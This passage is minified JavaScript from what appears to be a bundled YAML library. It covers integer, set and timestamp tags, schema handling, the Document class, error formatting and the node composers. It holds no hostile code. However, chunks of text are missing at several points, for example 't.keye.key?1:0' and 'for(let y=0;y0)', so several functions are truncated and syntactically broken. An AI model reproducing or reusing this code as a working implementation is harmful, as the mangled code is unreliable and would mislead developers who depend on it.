t=="bigint"||Number.isInteger(t);rR={identify:Ph,default:!0,tag:"tag:yaml.org,2002:int",format:"BIN",test:/^[-+]?0b[0-1_]+$/,resolve:(t,e,n)=>_g(t,2,2,n),stringify:t=>Y1(t,2,"0b")},iR={identify:Ph,default:!0,tag:"tag:yaml.org,2002:int",format:"OCT",test:/^[-+]?0[0-7_]+$/,resolve:(t,e,n)=>_g(t,1,8,n),stringify:t=>Y1(t,8,"0")},sR={identify:Ph,default:!0,tag:"tag:yaml.org,2002:int",test:/^[-+]?[0-9][0-9_]*$/,resolve:(t,e,n)=>_g(t,0,10,n),stringify:fn},oR={identify:Ph,default:!0,tag:"tag:yaml.org,2002:int",format:"HEX",test:/^[-+]?0x[0-9a-fA-F_]+$/,resolve:(t,e,n)=>_g(t,2,16,n),stringify:t=>Y1(t,16,"0x")}});var $c,Nh,J1=se(()=>{m();qe();ho();po();$c=class t extends wt{constructor(e){super(e),this.tag=t.tag}add(e){let n;Me(e)?n=e:e&&typeof e=="object"&&"key"in e&&"value"in e&&e.value===null?n=new ft(e.key,null):n=new ft(e,null),mo(this.items,n.key)||this.items.push(n)}get(e,n){let r=mo(this.items,e);return!n&&Me(r)?Ie(r.key)?r.key.value:r.key:r}set(e,n){if(typeof n!="boolean")throw new Error(`Expected boolean value for set(key, value) in a YAML set, not ${typeof n}`);let r=mo(this.items,e);r&&!n?this.items.splice(this.items.indexOf(r),1):!r&&n&&this.items.push(new ft(e))}toJSON(e,n){return super.toJSON(e,n,Set)}toString(e,n,r){if(!e)return JSON.stringify(this);if(this.hasAllNullValues(!0))return super.toString(Object.assign({},e,{allNullValues:!0}),n,r);throw new Error("Set items must all have null values")}static from(e,n,r){let{replacer:i}=r,s=new this(e);if(n&&Symbol.iterator in Object(n))for(let o of n)typeof i=="function"&&(o=i.call(n,o,o)),s.items.push(Mc(o,null,r));return s}};$c.tag="tag:yaml.org,2002:set";Nh={collection:"map",identify:t=>t instanceof Set,nodeClass:$c,default:!1,tag:"tag:yaml.org,2002:set",createNode:(t,e,n)=>$c.from(t,e,n),resolve(t,e){if(mr(t)){if(t.hasAllNullValues(!0))return Object.assign(new $c,t);e("Set items must all have null values")}else e("Expected a mapping for this tag");return t}}});function X1(t,e){let n=t[0],r=n==="-"||n==="+"?t.substring(1):t,i=o=>e?BigInt(o):Number(o),s=r.replace(/_/g,"").split(":").reduce((o,a)=>o*i(60)+i(a),i(0));return n==="-"?i(-1)*s:s}function lR(t){let{value:e}=t,n=o=>o;if(typeof e=="bigint")n=o=>BigInt(o);else if(isNaN(e)||!isFinite(e))return fn(t);let r="";e<0&&(r="-",e*=n(-1));let i=n(60),s=[e%i];return e<60?s.unshift(0):(e=(e-s[0])/i,s.unshift(e%i),e>=60&&(e=(e-s[0])/i,s.unshift(e))),r+s.map(o=>String(o).padStart(2,"0")).join(":").replace(/000000\d*$/,"")}var Cg,Tg,Uc,ek=se(()=>{m();Lc();Cg={identify:t=>typeof t=="bigint"||Number.isInteger(t),default:!0,tag:"tag:yaml.org,2002:int",format:"TIME",test:/^[-+]?[0-9][0-9_]*(?::[0-5]?[0-9])+$/,resolve:(t,e,{intAsBigInt:n})=>X1(t,n),stringify:lR},Tg={identify:t=>typeof t=="number",default:!0,tag:"tag:yaml.org,2002:float",format:"TIME",test:/^[-+]?[0-9][0-9_]*(?::[0-5]?[0-9])+\.[0-9_]*$/,resolve:t=>X1(t,!1),stringify:lR},Uc={identify:t=>t instanceof Date,default:!0,tag:"tag:yaml.org,2002:timestamp",test:RegExp("^([0-9]{4})-([0-9]{1,2})-([0-9]{1,2})(?:(?:t|T|[ \\t]+)([0-9]{1,2}):([0-9]{1,2}):([0-9]{1,2}(\\.[0-9]+)?)(?:[ \\t]*(Z|[-+][012]?[0-9](?::[0-9]{2})?))?)?$"),resolve(t){let e=t.match(Uc.test);if(!e)throw new Error("!!timestamp expects a date, starting with yyyy-mm-dd");let[,n,r,i,s,o,a]=e.map(Number),l=e[7]?Number((e[7]+"00").substr(1,3)):0,c=Date.UTC(n,r-1,i,s||0,o||0,a||0,l),u=e[8];if(u&&u!=="Z"){let f=X1(u,!1);Math.abs(f)<30&&(f*=60),c-=6e4*f}return new Date(c)},stringify:({value:t})=>t?.toISOString().replace(/(T00:00:00)?\.000Z$/,"")??""}});var tk,cR=se(()=>{m();Rc();gg();zc();Th();H1();JM();nR();aR();fg();Q1();Eg();J1();ek();tk=[fi,hi,yo,Aa,K1,Z1,rR,iR,sR,oR,XM,eR,tR,Ih,ui,Oh,Ah,Nh,Cg,Tg,Uc]});function Fg(t,e,n){let r=uR.get(e);if(r&&!t)return n&&!r.includes(ui)?r.concat(ui):r.slice();let i=r;if(!i)if(Array.isArray(t))i=[];else{let s=Array.from(uR.keys()).filter(o=>o!=="yaml11").map(o=>JSON.stringify(o)).join(", ");throw new Error(`Unknown schema "${e}"; use one of ${s} or define customTags array`)}if(Array.isArray(t))for(let s of t)i=i.concat(s);else typeof t=="function"&&(i=t(i.slice()));return n&&(i=i.concat(ui)),i.reduce((s,o)=>{let a=typeof o=="string"?fR[o]:o;if(!a){let l=JSON.stringify(o),c=Object.keys(fR).map(u=>JSON.stringify(u)).join(", ");throw new Error(`Unknown custom tag ${l}; use one of ${c}`)}return s.includes(a)||s.push(a),s},[])}var uR,fR,hR,dR=se(()=>{m();Rc();gg();zc();Th();U1();j1();V1();GM();ZM();H1();fg();Q1();Eg();cR();J1();ek();uR=new Map([["core",WM],["failsafe",[fi,hi,yo]],["json",KM],["yaml11",tk],["yaml-1.1",tk]]),fR={binary:Ih,bool:Fh,float:bg,floatExp:wg,floatNaN:yg,floatTime:Tg,int:xg,intHex:Sg,intOct:kg,intTime:Cg,map:fi,merge:ui,null:Aa,omap:Oh,pairs:Ah,seq:hi,set:Nh,timestamp:Uc},hR={"tag:yaml.org,2002:binary":Ih,"tag:yaml.org,2002:merge":ui,"tag:yaml.org,2002:omap":Oh,"tag:yaml.org,2002:pairs":Ah,"tag:yaml.org,2002:set":Nh,"tag:yaml.org,2002:timestamp":Uc}});var RQ,Oa,nk=se(()=>{m();qe();Rc();zc();Th();dR();RQ=(t,e)=>t.keye.key?1:0,Oa=class t{constructor({compat:e,customTags:n,merge:r,resolveKnownTags:i,schema:s,sortMapEntries:o,toStringDefaults:a}){this.compat=Array.isArray(e)?Fg(e,"compat"):e?Fg(null,e):null,this.name=typeof s=="string"&&s||"core",this.knownTags=i?hR:{},this.tags=Fg(n,this.name,r),this.toStringOptions=a??null,Object.defineProperty(this,li,{value:fi}),Object.defineProperty(this,hr,{value:yo}),Object.defineProperty(this,ds,{value:hi}),this.sortMapEntries=typeof o=="function"?o:o===!0?RQ:null}clone(){let e=Object.create(t.prototype,Object.getOwnPropertyDescriptors(this));return e.tags=this.tags.slice(),e}}});function mR(t,e){let n=[],r=e.directives===!0;if(e.directives!==!1&&t.directives){let l=t.directives.toString(t);l?(n.push(l),r=!0):t.directives.docStart&&(r=!0)}r&&n.push("---");let i=lg(t,e),{commentString:s}=i.options;if(t.commentBefore){n.length!==1&&n.unshift("");let l=s(t.commentBefore);n.unshift(Lr(l,""))}let o=!1,a=null;if(t.contents){if(Le(t.contents)){if(t.contents.spaceBefore&&r&&n.push(""),t.contents.commentBefore){let u=s(t.contents.commentBefore);n.push(Lr(u,""))}i.forceBlockIndent=!!t.comment,a=t.contents.comment}let l=a?void 0:()=>o=!0,c=gs(t.contents,i,()=>a=null,l);a&&(c+=Li(c,"",s(a))),(c[0]==="|"||c[0]===">")&&n[n.length-1]==="---"?n[n.length-1]=`--- ${c}`:n.push(c)}else n.push(gs(t.contents,i));if(t.directives?.docEnd)if(t.comment){let l=s(t.comment);l.includes(` -`)?(n.push("..."),n.push(Lr(l,""))):n.push(`... ${l}`)}else n.push("...");else{let l=t.comment;l&&o&&(l=l.replace(/^\n+/,"")),l&&((!o||a)&&n[n.length-1]!==""&&n.push(""),n.push(Lr(s(l),"")))}return n.join(` -`)+` -`}var pR=se(()=>{m();qe();Ch();xh()});function jc(t){if(We(t))return!0;throw new Error("Expected a YAML collection as document contents")}var gr,Mh=se(()=>{m();bh();rg();qe();ho();uo();nk();pR();Xp();O1();vh();F1();gr=class t{constructor(e,n,r){this.commentBefore=null,this.comment=null,this.errors=[],this.warnings=[],Object.defineProperty(this,xn,{value:Zp});let i=null;typeof n=="function"||Array.isArray(n)?i=n:r===void 0&&n&&(r=n,n=void 0);let s=Object.assign({intAsBigInt:!1,keepSourceTokens:!1,logLevel:"warn",prettyErrors:!0,strict:!0,stringKeys:!1,uniqueKeys:!0,version:"1.2"},r);this.options=s;let{version:o}=s;r?._directives?(this.directives=r._directives.atDocument(),this.directives.yaml.explicit&&(o=this.directives.yaml.version)):this.directives=new zi({version:o}),this.setSchema(o,r),this.contents=e===void 0?null:this.createNode(e,i,r)}clone(){let e=Object.create(t.prototype,{[xn]:{value:Zp}});return e.commentBefore=this.commentBefore,e.comment=this.comment,e.errors=this.errors.slice(),e.warnings=this.warnings.slice(),e.options=Object.assign({},this.options),this.directives&&(e.directives=this.directives.clone()),e.schema=this.schema.clone(),e.contents=Le(this.contents)?this.contents.clone(e.schema):this.contents,this.range&&(e.range=this.range.slice()),e}add(e){jc(this.contents)&&this.contents.add(e)}addIn(e,n){jc(this.contents)&&this.contents.addIn(e,n)}createAlias(e,n){if(!e.anchor){let r=I1(this);e.anchor=!n||r.has(n)?A1(n||"a",r):n}return new ci(e.anchor)}createNode(e,n,r){let i;if(typeof n=="function")e=n.call({"":e},"",e),i=n;else if(Array.isArray(n)){let y=b=>typeof b=="number"||b instanceof String||b instanceof Number,w=n.filter(y).map(String);w.length>0&&(n=n.concat(w)),i=n}else r===void 0&&n&&(r=n,n=void 0);let{aliasDuplicateObjects:s,anchorPrefix:o,flow:a,keepUndefined:l,onTagObj:c,tag:u}=r??{},{onAnchor:f,setAnchors:h,sourceObjects:d}=LM(this,o||"a"),p={aliasDuplicateObjects:s??!0,keepUndefined:l??!1,onAnchor:f,onTagObj:c,replacer:i,schema:this.schema,sourceObjects:d},g=ms(e,u,p);return a&&We(g)&&(g.flow=!0),h(),g}createPair(e,n,r={}){let i=this.createNode(e,null,r),s=this.createNode(n,null,r);return new ft(i,s)}delete(e){return jc(this.contents)?this.contents.delete(e):!1}deleteIn(e){return Pc(e)?this.contents==null?!1:(this.contents=null,!0):jc(this.contents)?this.contents.deleteIn(e):!1}get(e,n){return We(this.contents)?this.contents.get(e,n):void 0}getIn(e,n){return Pc(e)?!n&&Ie(this.contents)?this.contents.value:this.contents:We(this.contents)?this.contents.getIn(e,n):void 0}has(e){return We(this.contents)?this.contents.has(e):!1}hasIn(e){return Pc(e)?this.contents!==void 0:We(this.contents)?this.contents.hasIn(e):!1}set(e,n){this.contents==null?this.contents=kh(this.schema,[e],n):jc(this.contents)&&this.contents.set(e,n)}setIn(e,n){Pc(e)?this.contents=n:this.contents==null?this.contents=kh(this.schema,Array.from(e),n):jc(this.contents)&&this.contents.setIn(e,n)}setSchema(e,n={}){typeof e=="number"&&(e=String(e));let r;switch(e){case"1.1":this.directives?this.directives.yaml.version="1.1":this.directives=new zi({version:"1.1"}),r={resolveKnownTags:!1,schema:"yaml-1.1"};break;case"1.2":case"next":this.directives?this.directives.yaml.version=e:this.directives=new zi({version:e}),r={resolveKnownTags:!0,schema:"core"};break;case null:this.directives&&delete this.directives,r=null;break;default:{let i=JSON.stringify(e);throw new Error(`Expected '1.1', '1.2' or null as first argument, but found: ${i}`)}}if(n.schema instanceof Object)this.schema=n.schema;else if(r)this.schema=new Oa(Object.assign(r,n));else throw new Error("With a null YAML version, the { schema: Schema } option is required")}toJS({json:e,jsonArg:n,mapAsMap:r,maxAliasCount:i,onAnchor:s,reviver:o}={}){let a={anchors:new Map,doc:this,keep:!e,mapAsMap:r===!0,mapKeyWarned:!1,maxAliasCount:typeof i=="number"?i:100},l=Bt(this.contents,n??"",a);if(typeof s=="function")for(let{count:c,res:u}of a.anchors.values())s(u,c);return typeof o=="function"?co(o,{"":l},"",l):l}toJSON(e,n){return this.toJS({json:!0,jsonArg:e,mapAsMap:!1,onAnchor:n})}toString(e={}){if(this.errors.length>0)throw new Error("Document with errors cannot be stringified");if("indent"in e&&(!Number.isInteger(e.indent)||Number(e.indent)<=0)){let n=JSON.stringify(e.indent);throw new Error(`"indent" option must be a positive integer, not ${n}`)}return mR(this,e)}}});var Pa,qn,Na,Rh,zh=se(()=>{m();Pa=class extends Error{constructor(e,n,r,i){super(),this.name=e,this.code=r,this.message=i,this.pos=n}},qn=class extends Pa{constructor(e,n,r){super("YAMLParseError",e,n,r)}},Na=class extends Pa{constructor(e,n,r){super("YAMLWarning",e,n,r)}},Rh=(t,e)=>n=>{if(n.pos[0]===-1)return;n.linePos=n.pos.map(a=>e.linePos(a));let{line:r,col:i}=n.linePos[0];n.message+=` at line ${r}, column ${i}`;let s=i-1,o=t.substring(e.lineStarts[r-1],e.lineStarts[r]).replace(/[\n\r]+$/,"");if(s>=60&&o.length>80){let a=Math.min(s-39,o.length-79);o="\u2026"+o.substring(a),s-=a-1}if(o.length>80&&(o=o.substring(0,79)+"\u2026"),r>1&&/^ *$/.test(o.substring(0,s))){let a=t.substring(e.lineStarts[r-2],e.lineStarts[r-1]);a.length>80&&(a=a.substring(0,79)+`\u2026 -`),o=a+o}if(/[^ ]/.test(o)){let a=1,l=n.linePos[1];l?.line===r&&l.col>i&&(a=Math.max(1,Math.min(l.col-i,80-s)));let c=" ".repeat(s)+"^".repeat(a);n.message+=`: - -${o} -${c} -`}}});function Bi(t,{flow:e,indicator:n,next:r,offset:i,onError:s,parentIndent:o,startOnNewline:a}){let l=!1,c=a,u=a,f="",h="",d=!1,p=!1,g=null,y=null,w=null,b=null,S=null,D=null,k=null;for(let _ of t)switch(p&&(_.type!=="space"&&_.type!=="newline"&&_.type!=="comma"&&s(_.offset,"MISSING_CHAR","Tags and anchors must be separated from the next token by white space"),p=!1),g&&(c&&_.type!=="comment"&&_.type!=="newline"&&s(g,"TAB_AS_INDENT","Tabs are not allowed as indentation"),g=null),_.type){case"space":!e&&(n!=="doc-start"||r?.type!=="flow-collection")&&_.source.includes(" ")&&(g=_),u=!0;break;case"comment":{u||s(_,"MISSING_CHAR","Comments must be separated from other tokens by white space characters");let C=_.source.substring(1)||" ";f?f+=h+C:f=C,h="",c=!1;break}case"newline":c?f?f+=_.source:(!D||n!=="seq-item-ind")&&(l=!0):h+=_.source,c=!0,d=!0,(y||w)&&(b=_),u=!0;break;case"anchor":y&&s(_,"MULTIPLE_ANCHORS","A node can have at most one anchor"),_.source.endsWith(":")&&s(_.offset+_.source.length-1,"BAD_ALIAS","Anchor ending in : is ambiguous",!0),y=_,k??(k=_.offset),c=!1,u=!1,p=!0;break;case"tag":{w&&s(_,"MULTIPLE_TAGS","A node can have at most one tag"),w=_,k??(k=_.offset),c=!1,u=!1,p=!0;break}case n:(y||w)&&s(_,"BAD_PROP_ORDER",`Anchors and tags must be after the ${_.source} indicator`),D&&s(_,"UNEXPECTED_TOKEN",`Unexpected ${_.source} in ${e??"collection"}`),D=_,c=n==="seq-item-ind"||n==="explicit-key-ind",u=!1;break;case"comma":if(e){S&&s(_,"UNEXPECTED_TOKEN",`Unexpected , in ${e}`),S=_,c=!1,u=!1;break}default:s(_,"UNEXPECTED_TOKEN",`Unexpected ${_.type} token`),c=!1,u=!1}let E=t[t.length-1],v=E?E.offset+E.source.length:i;return p&&r&&r.type!=="space"&&r.type!=="newline"&&r.type!=="comma"&&(r.type!=="scalar"||r.source!=="")&&s(r.offset,"MISSING_CHAR","Tags and anchors must be separated from the next token by white space"),g&&(c&&g.indent<=o||r?.type==="block-map"||r?.type==="block-seq")&&s(g,"TAB_AS_INDENT","Tabs are not allowed as indentation"),{comma:S,found:D,spaceBefore:l,comment:f,hasNewline:d,anchor:y,tag:w,newlineAfterProp:b,end:v,start:k??v}}var Lh=se(()=>{m()});function wo(t){if(!t)return null;switch(t.type){case"alias":case"scalar":case"double-quoted-scalar":case"single-quoted-scalar":if(t.source.includes(` -`))return!0;if(t.end){for(let e of t.end)if(e.type==="newline")return!0}return!1;case"flow-collection":for(let e of t.items){for(let n of e.start)if(n.type==="newline")return!0;if(e.sep){for(let n of e.sep)if(n.type==="newline")return!0}if(wo(e.key)||wo(e.value))return!0}return!1;default:return!0}}var Ig=se(()=>{m()});function Bh(t,e,n){if(e?.type==="flow-collection"){let r=e.end[0];r.indent===t&&(r.source==="]"||r.source==="}")&&wo(e)&&n(r,"BAD_INDENT","Flow end indicator should be more indented than parent",!0)}}var rk=se(()=>{m();Ig()});function Ag(t,e,n){let{uniqueKeys:r}=t.options;if(r===!1)return!1;let i=typeof r=="function"?r:(s,o)=>s===o||Ie(s)&&Ie(o)&&s.value===o.value;return e.some(s=>i(s.key,n))}var ik=se(()=>{m();qe()});function yR({composeNode:t,composeEmptyNode:e},n,r,i,s){let o=s?.nodeClass??wt,a=new o(n.schema);n.atRoot&&(n.atRoot=!1);let l=r.offset,c=null;for(let u of r.items){let{start:f,key:h,sep:d,value:p}=u,g=Bi(f,{indicator:"explicit-key-ind",next:h??d?.[0],offset:l,onError:i,parentIndent:r.indent,startOnNewline:!0}),y=!g.found;if(y){if(h&&(h.type==="block-seq"?i(l,"BLOCK_AS_IMPLICIT_KEY","A block sequence may not be used as an implicit map key"):"indent"in h&&h.indent!==r.indent&&i(l,"BAD_INDENT",gR)),!g.anchor&&!g.tag&&!d){c=g.end,g.comment&&(a.comment?a.comment+=` -`+g.comment:a.comment=g.comment);continue}(g.newlineAfterProp||wo(h))&&i(h??f[f.length-1],"MULTILINE_IMPLICIT_KEY","Implicit keys need to be on a single line")}else g.found?.indent!==r.indent&&i(l,"BAD_INDENT",gR);n.atKey=!0;let w=g.end,b=h?t(n,h,g,i):e(n,w,f,null,g,i);n.schema.compat&&Bh(r.indent,h,i),n.atKey=!1,Ag(n,a.items,b)&&i(w,"DUPLICATE_KEY","Map keys must be unique");let S=Bi(d??[],{indicator:"map-value-ind",next:p,offset:b.range[2],onError:i,parentIndent:r.indent,startOnNewline:!h||h.type==="block-scalar"});if(l=S.end,S.found){y&&(p?.type==="block-map"&&!S.hasNewline&&i(l,"BLOCK_AS_IMPLICIT_KEY","Nested mappings are not allowed in compact mappings"),n.options.strict&&g.start{m();ho();po();Lh();Ig();rk();ik();gR="All mapping items must start at the same column"});function bR({composeNode:t,composeEmptyNode:e},n,r,i,s){let o=s?.nodeClass??Zt,a=new o(n.schema);n.atRoot&&(n.atRoot=!1),n.atKey&&(n.atKey=!1);let l=r.offset,c=null;for(let{start:u,value:f}of r.items){let h=Bi(u,{indicator:"seq-item-ind",next:f,offset:l,onError:i,parentIndent:r.indent,startOnNewline:!0});if(!h.found)if(h.anchor||h.tag||f)f?.type==="block-seq"?i(h.end,"BAD_INDENT","All sequence items must start at the same column"):i(l,"MISSING_CHAR","Sequence item without - indicator");else{c=h.end,h.comment&&(a.comment=h.comment);continue}let d=f?t(n,f,h,i):e(n,h.end,u,null,h,i);n.schema.compat&&Bh(r.indent,f,i),l=d.range[2],a.items.push(d)}return a.range=[r.offset,l,c??l],a}var vR=se(()=>{m();go();Lh();rk()});function $i(t,e,n,r){let i="";if(t){let s=!1,o="";for(let a of t){let{source:l,type:c}=a;switch(c){case"space":s=!0;break;case"comment":{n&&!s&&r(a,"MISSING_CHAR","Comments must be separated from other tokens by white space characters");let u=l.substring(1)||" ";i?i+=o+u:i=u,o="";break}case"newline":i&&(o+=l),s=!0;break;default:r(a,"UNEXPECTED_TOKEN",`Unexpected ${c} at node end`)}e+=l.length}}return{comment:i,offset:e}}var qc=se(()=>{m()});function kR({composeNode:t,composeEmptyNode:e},n,r,i,s){let o=r.start.source==="{",a=o?"flow map":"flow sequence",l=s?.nodeClass??(o?wt:Zt),c=new l(n.schema);c.flow=!0;let u=n.atRoot;u&&(n.atRoot=!1),n.atKey&&(n.atKey=!1);let f=r.offset+r.start.source.length;for(let y=0;y0){let y=$i(p,g,n.options.strict,i);y.comment&&(c.comment?c.comment+=` -`+y.comment:c.comment=y.comment),c.range=[r.offset,g,y.offset]}else c.range=[r.offset,g,g];return c}var sk,ok,xR=se(()=>{m();qe();ho();po();go();qc();Lh();Ig();ik();sk="Block collections are not allowed within flow collections",ok=t=>t&&(t.type==="block-map"||t.type==="block-seq")});function ak(t,e,n,r,i,s){let o=n.type==="block-map"?yR(t,e,n,r,s):n.type==="block-seq"?bR(t,e,n,r,s):kR(t,e,n,r,s),a=o.constructor;return i==="!"||i===a.tagName?(o.tag=a.tagName,o):(i&&(o.tag=i),o)}function SR(t,e,n,r,i){let s=r.tag,o=s?e.directives.tagName(s.source,h=>i(s,"TAG_RESOLVE_FAILED",h)):null;if(n.type==="block-seq"){let{anchor:h,newlineAfterProp:d}=r,p=h&&s?h.offset>s.offset?h:s:h??s;p&&(!d||d.offseth.tag===o&&h.collection===a);if(!l){let h=e.schema.knownTags[o];if(h?.collection===a)e.schema.tags.push(Object.assign({},h,{default:!1})),l=h;else return h?i(s,"BAD_COLLECTION_TYPE",`${h.tag} used for ${a} collection, but expects ${h.collection??"scalar"}`,!0):i(s,"TAG_RESOLVE_FAILED",`Unresolved tag: ${o}`,!0),ak(t,e,n,i,o)}let c=ak(t,e,n,i,o,l),u=l.resolve?.(c,h=>i(s,"TAG_RESOLVE_FAILED",h),e.options)??c,f=Le(u)?u:new ue(u);return f.range=c.range,f.tag=o,l?.format&&(f.format=l.format),f}var DR=se(()=>{m();qe();Pt();po();go();wR();vR();xR()});function Og(t,e,n){let r=e.offset,i=zQ(e,t.options.strict,n);if(!i)return{value:"",type:null,comment:"",range:[r,r,r]};let s=i.mode===">"?ue.BLOCK_FOLDED:ue.BLOCK_LITERAL,o=e.source?LQ(e.source):[],a=o.length;for(let g=o.length-1;g>=0;--g){let y=o[g][1];if(y===""||y==="\r")a=g;else break}if(a===0){let g=i.chomp==="+"&&o.length>0?` -`.repeat(Math.max(1,o.length-1)):"",y=r+i.length;return e.source&&(y+=e.source.length),{value:g,type:s,comment:i.comment,range:[r,y,y]}}let l=e.indent+i.indent,c=e.offset+i.length,u=0;for(let g=0;gl&&(l=y.length);else{y.length=a;--g)o[g][0].length>l&&(a=g+1);let f="",h="",d=!1;for(let g=0;gl||w[0]===" "?(h===" "?h=` -`:!d&&h===` -`&&(h=` - -`),f+=h+y.slice(l)+w,h=` -`,d=!0):w===""?h===` -`?f+=` -`:h=` -`:(f+=h+w,h=" ",d=!1)}switch(i.chomp){case"-":break;case"+":for(let g=a;g{m();Pt()});function Pg(t,e,n){let{offset:r,type:i,source:s,end:o}=t,a,l,c=(h,d,p)=>n(r+h,d,p);switch(i){case"scalar":a=ue.PLAIN,l=BQ(s,c);break;case"single-quoted-scalar":a=ue.QUOTE_SINGLE,l=$Q(s,c);break;case"double-quoted-scalar":a=ue.QUOTE_DOUBLE,l=UQ(s,c);break;default:return n(t,"UNEXPECTED_TOKEN",`Expected a flow scalar value, but found: ${i}`),{value:"",type:null,comment:"",range:[r,r+s.length,r+s.length]}}let u=r+s.length,f=$i(o,u,e,n);return{value:l,type:a,comment:f.comment,range:[r,u,f.offset]}}function BQ(t,e){let n="";switch(t[0]){case" ":n="a tab character";break;case",":n="flow indicator character ,";break;case"%":n="directive indicator character %";break;case"|":case">":{n=`block scalar indicator ${t[0]}`;break}case"@":case"`":{n=`reserved character ${t[0]}`;break}}return n&&e(0,"BAD_SCALAR_START",`Plain value cannot start with ${n}`),ER(t)}function $Q(t,e){return(t[t.length-1]!=="'"||t.length===1)&&e(t.length,"MISSING_CHAR","Missing closing 'quote"),ER(t.slice(1,-1)).replace(/''/g,"'")}function ER(t){let e,n;try{e=new RegExp(`(.*?)(?s?t.slice(s,r+1):i)}else n+=i}return(t[t.length-1]!=='"'||t.length===1)&&e(t.length,"MISSING_CHAR",'Missing closing "quote'),n}function jQ(t,e){let n="",r=t[e+1];for(;(r===" "||r===" "||r===` -`||r==="\r")&&!(r==="\r"&&t[e+2]!==` -`);)r===` -`&&(n+=` -`),e+=1,r=t[e+1];return n||(n=" "),{fold:n,offset:e}}function VQ(t,e,n,r){let i=t.substr(e,n),o=i.length===n&&/^[0-9a-fA-F]+$/.test(i)?parseInt(i,16):NaN;if(isNaN(o)){let a=t.substr(e-2,n+2);return r(e-2,"BAD_DQ_ESCAPE",`Invalid escape sequence ${a}`),a}return String.fromCodePoint(o)}var qQ,ck=se(()=>{m();Pt();qc();qQ={0:"\0",a:"\x07",b:"\b",e:"\x1B",f:"\f",n:` -`,r:"\r",t:" ",v:"\v",N:"\x85",_:"\xA0",L:"\u2028",P:"\u2029"," ":" ",'"':'"',"/":"/","\\":"\\"," ":" "}});function uk(t,e,n,r){let{value:i,type:s,comment:o,range:a}=e.type==="block-scalar"?Og(t,e,r):Pg(e,t.options.strict,r),l=n?t.directives.tagName(n.source,f=>r(n,"TAG_RESOLVE_FAILED",f)):null,c;t.options.stringKeys&&t.atKey?c=t.schema[hr]:l?c=HQ(t.schema,i,l,n,r):e.type==="scalar"?c=WQ(t,i,e,r):c=t.schema[hr];let u;try{let f=c.resolve(i,h=>r(n??e,"TAG_RESOLVE_FAILED",h),t.options);u=Ie(f)?f:new ue(f)}catch(f){let h=f instanceof Error?f.message:String(f);r(n??e,"TAG_RESOLVE_FAILED",h),u=new ue(i)}return u.range=a,u.source=i,s&&(u.type=s),l&&(u.tag=l),c.format&&(u.format=c.format),o&&(u.comment=o),u}function HQ(t,e,n,r,i){if(n==="!")return t[hr];let s=[];for(let a of t.tags)if(!a.collection&&a.tag===n)if(a.default&&a.test)s.push(a);else return a;for(let a of s)if(a.test?.test(e))return a;let o=t.knownTags[n];return o&&!o.collection?(t.tags.push(Object.assign({},o,{default:!1,test:void 0})),o):(i(r,"TAG_RESOLVE_FAILED",`Unresolved tag: ${n}`,n!=="tag:yaml.org,2002:str"),t[hr])}function WQ({atKey:t,directives:e,schema:n},r,i,s){let o=n.tags.find(a=>(a.default===!0||t&&a.default==="key")&&a.test?.test(r))||n[hr];if(n.compat){let a=n.compat.find(l=>l.default&&l.test?.test(r))??n[hr];if(o.tag!==a.tag){let l=e.tagString(o.tag),c=e.tagString(a.tag),u=`Value may be parsed as either ${l} or ${c}`;s(i,"TAG_RESOLVE_FAILED",u,!0)}}return o}var _R=se(()=>{m();qe();Pt();lk();ck()});function CR(t,e,n){if(e){n??(n=e.length);for(let r=n-1;r>=0;--r){let i=e[r];switch(i.type){case"space":case"comment":case"newline":t-=i.source.length;continue}for(i=e[++r];i?.type==="space";)t+=i.source.length,i=e[++r];break}}return t}var TR=se(()=>{m()});function fk(t,e,n,r){let i=t.atKey,{spaceBefore:s,comment:o,anchor:a,tag:l}=n,c,u=!0;switch(e.type){case"alias":c=QQ(t,e,r),(a||l)&&r(e,"ALIAS_PROPS","An alias node must not specify any properties");break;case"scalar":case"single-quoted-scalar":case"double-quoted-scalar":case"block-scalar":c=uk(t,e,l,r),a&&(c.anchor=a.source.substring(1));break;case"block-map":case"block-seq":case"flow-collection":try{c=SR(GQ,t,e,n,r),a&&(c.anchor=a.source.substring(1))}catch(f){let h=f instanceof Error?f.message:String(f);r(e,"RESOURCE_EXHAUSTION",h)}break;default:{let f=e.type==="error"?e.message:`Unsupported token (type: ${e.type})`;r(e,"UNEXPECTED_TOKEN",f),u=!1}}return c??(c=Ng(t,e.offset,void 0,null,n,r)),a&&c.anchor===""&&r(a,"BAD_ALIAS","Anchor cannot be an empty string"),i&&t.options.stringKeys&&(!Ie(c)||typeof c.value!="string"||c.tag&&c.tag!=="tag:yaml.org,2002:str")&&r(l??e,"NON_STRING_KEY","With stringKeys, all keys must be strings"),s&&(c.spaceBefore=!0),o&&(e.type==="scalar"&&e.source===""?c.comment=o:c.commentBefore=o),t.options.keepSourceTokens&&u&&(c.srcToken=e),c}function Ng(t,e,n,r,{spaceBefore:i,comment:s,anchor:o,tag:a,end:l},c){let u={type:"scalar",offset:CR(e,n,r),indent:-1,source:""},f=uk(t,u,a,c);return o&&(f.anchor=o.source.substring(1),f.anchor===""&&c(o,"BAD_ALIAS","Anchor cannot be an empty string")),i&&(f.spaceBefore=!0),s&&(f.comment=s,f.range[2]=l),f}function QQ({options:t},{offset:e,source:n,end:r},i){let s=new ci(n.substring(1));s.source===""&&i(e,"BAD_ALIAS","Alias cannot be an empty string"),s.source.endsWith(":")&&i(e+n.length-1,"BAD_ALIAS","Alias ending in : is ambiguous",!0);let o=e+n.length,a=$i(r,o,t.strict,i);return s.range=[e,o,a.offset],a.comment&&(s.comment=a.comment),s}var GQ,FR=se(()=>{m();bh();qe();DR();_R();qc();TR();GQ={composeNode:fk,composeEmptyNode:Ng}});function IR(t,e,{offset:n,start:r,value:i,end:s},o){let a=Object.assign({_directives:e},t),l=new gr(void 0,a),c={atKey:!1,atRoot:!0,directives:l.directives,options:l.options,schema:l.schema},u=Bi(r,{indicator:"doc-start",next:i??s?.[0],offset:n,onError:o,parentIndent:0,startOnNewline:!0});u.found&&(l.directives.docStart=!0,i&&(i.type==="block-map"||i.type==="block-seq")&&!u.hasNewline&&o(u.end,"MISSING_CHAR","Block collection cannot start on same line with directives-end marker")),l.contents=i?fk(c,i,u,o):Ng(c,u.end,r,null,u,o);let f=l.contents.range[2],h=$i(s,f,!1,o);return h.comment&&(l.comment=h.comment),l.range=[n,f,h.offset],l}var AR=se(()=>{m();Mh();FR();qc();Lh()});function $h(t){if(typeof t=="number")return[t,t+1];if(Array.isArray(t))return t.length===2?t:[t[0],t[1]];let{offset:e,source:n}=t;return[e,e+(typeof n=="string"?n.length:1)]}function OR(t){let e="",n=!1,r=!1;for(let 